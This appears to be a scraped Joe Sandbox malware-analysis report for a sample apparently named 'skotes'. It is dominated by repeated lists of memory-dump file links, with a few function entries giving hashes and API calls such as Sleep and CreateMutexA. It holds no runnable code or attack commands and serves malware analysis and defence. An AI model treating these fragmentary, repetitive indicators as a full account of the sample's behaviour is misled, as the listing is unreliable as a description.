Associated: 00000002.00000002.1790755554.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790776698.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790798336.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790817095.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790838852.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790867179.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790887068.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790907704.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790927599.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790948804.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790968766.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790988666.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791007729.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791029348.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791053892.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791102942.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791135863.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791135863.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791187377.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791207621.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791232555.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791252075.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791273107.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791291767.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791310531.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791330824.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 9ee5806b966ea704a468288f729b6fa108e325655543efb133104164767cf078
Instruction ID: 3ba71f4b936672dbfa2f7dd16a3b2d298e865194db025db29fb24fb1d9473f19
Opcode Fuzzy Hash: 9ee5806b966ea704a468288f729b6fa108e325655543efb133104164767cf078
Instruction Fuzzy Hash: EE314A316042049BEB48DB78DDC9B6DBBF2EBC5310F24C699E1289B3D5DB3599808753

Function 00B79ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B7A963
CreateMutexA.KERNELBASE(00000000,00000000,00BD3254), ref: 00B7A981

Memory Dump Source

Source File: 00000002.00000002.1790140018.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000002.00000002.1790120585.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790140018.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790207869.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790227080.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790247605.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790268890.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790286716.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790463478.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790485734.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790515342.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790515342.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790562467.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790585139.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790609150.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790630215.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790650253.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790670274.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790689351.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790712211.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790736247.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790755554.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790776698.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790798336.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790817095.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790838852.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790867179.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790887068.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790907704.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790927599.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790948804.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790968766.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790988666.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791007729.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791029348.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791053892.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791102942.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791135863.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791135863.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791187377.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791207621.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791232555.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791252075.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791273107.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791291767.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791310531.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791330824.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: ad8f60549b684278a27ca35e2602fdf36a32081ac689b27c399633af3cb354c3
Instruction ID: d68e1205c0814cb9c9fe4b00c1bdf7954375891c34bc1fddae443982bf3c827e
Opcode Fuzzy Hash: ad8f60549b684278a27ca35e2602fdf36a32081ac689b27c399633af3cb354c3
Instruction Fuzzy Hash: A6214C326042009BEB189B68ECC5B2CF7E2EBC1310F248299E52C873E5DB759991CB12

Function 00B7A856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B7A963
CreateMutexA.KERNELBASE(00000000,00000000,00BD3254), ref: 00B7A981

Memory Dump Source

Source File: 00000002.00000002.1790140018.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000002.00000002.1790120585.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790140018.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790207869.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790227080.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790247605.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790268890.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790286716.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790463478.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790485734.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790515342.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790515342.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790562467.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790585139.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790609150.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790630215.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790650253.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790670274.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790689351.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790712211.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790736247.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790755554.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790776698.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790798336.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790817095.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790838852.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790867179.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790887068.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790907704.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790927599.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790948804.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790968766.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790988666.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791007729.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791029348.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791053892.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791102942.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791135863.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791135863.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791187377.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791207621.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791232555.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791252075.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791273107.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791291767.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791310531.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791330824.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 9e866542e67019eb8ebf1e521d03b2c87bb79b7f90ac567d4f1db86e2c74d287
Instruction ID: 90750ac356eeac9b02983f3f65f83799a706ada4928b8b84e99ae2e217be82f8
Opcode Fuzzy Hash: 9e866542e67019eb8ebf1e521d03b2c87bb79b7f90ac567d4f1db86e2c74d287
Instruction Fuzzy Hash: 2B214B7124C201DFE72467789C96B2DB7D2DFC1300F2488E6E16C963D1DE7548818253

Function 00B7A34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B7A963
CreateMutexA.KERNELBASE(00000000,00000000,00BD3254), ref: 00B7A981

Memory Dump Source

Source File: 00000002.00000002.1790140018.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000002.00000002.1790120585.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790140018.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790207869.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790227080.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790247605.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790268890.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790286716.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790463478.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790485734.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790515342.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790515342.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790562467.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790585139.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790609150.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790630215.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790650253.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790670274.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790689351.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790712211.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790736247.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790755554.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790776698.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790798336.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790817095.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790838852.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790867179.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790887068.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790907704.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790927599.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790948804.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790968766.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790988666.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791007729.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791029348.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791053892.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791102942.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791135863.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791135863.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791187377.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791207621.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791232555.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791252075.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791273107.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791291767.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791310531.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791330824.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 6b2ff99c7db3e446cae923102bc6d3e2c125001a93ee1db05788214b6eb7bc60
Instruction ID: e7040e280673e211282b301be5c6e60f38d618111d2398c0e01d9f20ebc474ca
Opcode Fuzzy Hash: 6b2ff99c7db3e446cae923102bc6d3e2c125001a93ee1db05788214b6eb7bc60
Instruction Fuzzy Hash: 882149326042009BEB18AF68ED85B6CF7E2EBD1310F24829AE528977D5DB75A580C753

Non-executed Functions

Function 00BACBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00BACC66

Memory Dump Source

Source File: 00000002.00000002.1790140018.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000002.00000002.1790120585.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790140018.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790207869.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790227080.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790247605.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790268890.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790286716.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790463478.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790485734.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790515342.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790515342.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790562467.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790585139.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790609150.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790630215.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790650253.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790670274.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790689351.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790712211.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790736247.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790755554.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790776698.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790798336.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790817095.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790838852.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790867179.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790887068.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790907704.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790927599.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790948804.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790968766.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790988666.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791007729.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791029348.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791053892.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791102942.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791135863.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791135863.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791187377.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791207621.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791232555.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791252075.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791273107.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791291767.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791310531.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791330824.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction ID: aa4686e9587e7ded220a5291786af77e32d18c311b138c076df228285fc14472
Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction Fuzzy Hash: 2EB104329086859FDB15CF28C8817BEBFE5EF56350F1481FAE855EB242D6349D01CBA4

Function 00B72EC0 Relevance: 6.3, APIs: 4, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00B72F5F
__Mtx_unlock.LIBCPMT ref: 00B72FCC
__Mtx_unlock.LIBCPMT ref: 00B730F5
__Mtx_unlock.LIBCPMT ref: 00B7319B

Memory Dump Source

Source File: 00000002.00000002.1790140018.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000002.00000002.1790120585.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790140018.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790207869.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790227080.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790247605.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790268890.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790286716.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790463478.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790485734.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790515342.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790515342.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790562467.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790585139.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790609150.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790630215.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790650253.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790670274.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790689351.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790712211.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790736247.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790755554.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790776698.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790798336.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790817095.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790838852.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790867179.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790887068.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790907704.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790927599.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790948804.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
